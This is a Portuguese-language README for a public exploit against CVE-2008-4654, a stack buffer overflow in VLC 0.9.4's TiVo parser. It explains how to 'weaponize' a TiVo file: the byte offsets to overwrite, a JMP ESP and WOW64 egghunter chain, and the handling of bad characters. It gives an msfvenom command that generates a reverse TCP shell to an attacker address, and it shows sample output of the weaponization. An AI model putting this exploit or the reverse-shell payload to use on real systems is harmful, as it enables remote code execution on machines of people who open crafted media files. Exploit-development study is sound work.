CVE-2008-4654

Um exploit totalmente funcional para a vulnerabilidade de estouro de buffer baseado em pilha CVE-2008-4654 no VLC Media Player 0.9.4 da VideoLan ao processar arquivos TiVo. Ele tem como alvo um binário de 32 bits executado em um sistema Windows de 64 bits e usa um egghunter WOW64 para contornar o espaço limitado da pilha.

Uso

Atualize o Script:

• Substitua o placeholder buf = b'[...]' no script pelo seu próprio shellcode (por exemplo, do msfvenom).
• Opcionalmente, ajuste o shellcode EGG_HUNTER_WOW64 se quiser uma tag diferente ou tiver um egghunter personalizado.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

Como Funciona

• O script procura por um padrão de bytes específico (TIVO_PES_FILEID) no arquivo TiVo.
• Ele sobrescreve um campo de 4 bytes (20 bytes após o padrão) com b"\x00\x00\x00\xff", que configura a leitura fora dos limites levando a um estouro de pilha.
• Em seguida, substitui outra região (92 bytes após TIVO_PES_FILEID) por um payload personalizado.
• O payload inclui:
  • Um endereço JMP ESP que direciona a execução para a pilha.
  • Um egghunter específico para WOW64 que varre a memória em busca do marcador w00tw00t.
  • Um payload de shellcode grande definido pelo usuário (o segundo estágio) colocado após o marcador, além do espaço limitado da pilha.
• Quando o VLC processa o arquivo TiVo modificado, ele eventualmente dispara o estouro e executa o egghunter. O egghunter encontra o shellcode completo e o executa, contornando as limitações de tamanho da pilha.

Exemplo

Geração do Payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

Criação do Arquivo TiVo

• Substitua o placeholder buf = b'[...]' pelo shellcode criado anteriormente.
• Baixe um arquivo TiVo de exemplo de https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Notas

• O exploit funciona apenas no Windows x64 por causa do egghunter WOW64. Uma abordagem puramente x86 exigiria um egghunter padrão adequado para sistemas de 32 bits.
• Não há caracteres ruins significativos além do \x00 para este vetor específico, simplificando a geração do payload.
• Para uma análise mais aprofundada sobre egghunting e as complexidades do WOW64, confira o artigo sobre egghunter WOW64 da Corelan e o artigo de Matt (Skape) Miller.

Recursos

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/